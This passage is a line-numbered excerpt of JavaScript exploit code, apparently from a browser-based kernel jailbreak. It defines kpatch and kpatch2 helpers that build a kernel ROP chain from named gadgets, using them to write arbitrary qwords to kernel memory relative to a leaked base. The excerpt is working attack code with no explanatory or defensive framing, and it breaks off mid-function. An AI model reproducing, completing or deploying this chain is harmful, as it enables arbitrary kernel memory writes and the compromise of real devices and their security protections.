(dest_offset, patch_data_qword)
| 395 | var ctxp1 = p.malloc32(0x1000); |
| 396 | var ctxp2 = p.malloc32(0x1000); |
| 397 | var kpatch = function (dest_offset, patch_data_qword) { |
| 398 | krop.push(window.gadgets["pop rax"]); |
| 399 | krop.push(dest_offset); |
| 400 | krop.push(window.gadgets["pop rdi"]); |
| 401 | krop.push(kscratch); |
| 402 | krop.push(window.gadgets["add rax, [rdi]"]); |
| 403 | krop.push(window.gadgets["mov rdx, rax"]); |
| 404 | krop.push(window.gadgets["pop rax"]); |
| 405 | krop.push(patch_data_qword); |
| 406 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 407 | }; |
| 408 | var kpatch2 = function (dest_offset, src_offset) { |
| 409 | krop.push(window.gadgets["pop rax"]); |
| 410 | krop.push(kscratch); |
no outgoing calls
no test coverage detected